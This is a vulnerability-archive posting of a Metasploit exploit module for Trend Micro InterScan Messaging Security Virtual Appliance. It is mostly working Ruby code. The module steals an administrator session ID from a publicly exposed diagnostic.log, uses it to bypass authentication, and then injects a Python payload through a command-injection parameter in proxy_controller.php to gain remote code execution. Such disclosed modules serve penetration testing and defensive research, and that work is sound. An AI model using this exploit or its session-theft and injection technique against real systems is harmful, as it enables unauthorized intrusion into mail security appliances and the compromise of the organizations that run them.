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Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution

Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution
Posted Oct 12, 2017
Authored by mr_me, Mehmet Ince | Site metasploit.com

This Metasploit module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a terminal command under the context of the web server user. The specific flaw exists within the management interface, which listens on TCP port 443 by default. Trend Micro IMSVA product have widget feature which is implemented with PHP. Insecurely configured web server exposes diagnostic.log file, which leads to an extraction of JSESSIONID value from administrator session. Proxy.php files under the mod TMCSS folder takes multiple parameter but the process does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the web server user.

tags | exploit, web, php, tcp, vulnerability
SHA-256 | a28a0e405c43d1d9d228e28261a5e904e2adcd99280b5dee750ba1116cc84e02

Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution",
'Description' => %q{
This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a
terminal command under the context of the web server user.

The specific flaw exists within the management interface, which listens on TCP port 443 by default. Trend Micro IMSVA product
have widget feature which is implemented with PHP. Insecurely configured web server exposes diagnostic.log file, which
leads to an extraction of JSESSIONID value from administrator session. Proxy.php files under the mod TMCSS folder takes multiple parameter but the process
does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities,
unauthenticated users can execute a terminal command under the context of the web server user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <mr_me@offensive-security.com>', # author of command injection
'Mehmet Ince <mehmet@mehmetince.net>' # author of authentication bypass & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/one-ring-to-rule-them-all-same-rce-on-multiple-trend-micro-products/'],
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-17-521/'],
],
'DefaultOptions' =>
{
'SSL' => true,
'RPORT' => 8445
},
'Payload' =>
{
'Compat' =>
{
'ConnectionType' => '-bind'
},
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [[ 'Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => "Oct 7 2017",
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the Trend Micro IMSVA management interface', '/'])
]
)
end

def extract_jsessionid
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'widget', 'repository', 'log', 'diagnostic.log')
})
if res && res.code == 200 && res.body.include?('JSEEEIONID')
res.body.scan(/JSEEEIONID:([A-F0-9]{32})/).flatten.last
else
nil
end
end

def widget_auth(jsessionid)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'widget', 'index.php'),
'cookie' => "CurrentLocale=en-U=en_US; JSESSIONID=#{jsessionid}"
})
if res && res.code == 200 && res.body.include?('USER_GENERATED_WIDGET_DIR')
res.get_cookies
else
nil
end
end

def check
# If we've managed to bypass authentication, that means target is most likely vulnerable.
jsessionid = extract_jsessionid
if jsessionid.nil?
return Exploit::CheckCode::Safe
end
auth = widget_auth(jsessionid)
if auth.nil?
Exploit::CheckCode::Safe
else
Exploit::CheckCode::Appears
end
end

def exploit
print_status('Extracting JSESSIONID from publicly accessible log file')
jsessionid = extract_jsessionid
if jsessionid.nil?
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
else
print_good("Awesome. JSESSIONID value = #{jsessionid}")
end

print_status('Initiating session with widget framework')
cookies = widget_auth(jsessionid)
if cookies.nil?
fail_with(Failure::NoAccess, "Latest JSESSIONID is expired. Wait for sysadmin to login IMSVA")
else
print_good('Session with widget framework successfully initiated.')
end

print_status('Trigerring command injection vulnerability')
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'widget', 'proxy_controller.php'),
'cookie' => "CurrentLocale=en-US; LogonUser=root; JSESSIONID=#{jsessionid}; #{cookies}",
'vars_post' => {
'module' => 'modTMCSS',
'serverid' => '1',
'TOP' => "$(python -c \"#{payload.encoded}\")"
}
})
end
end
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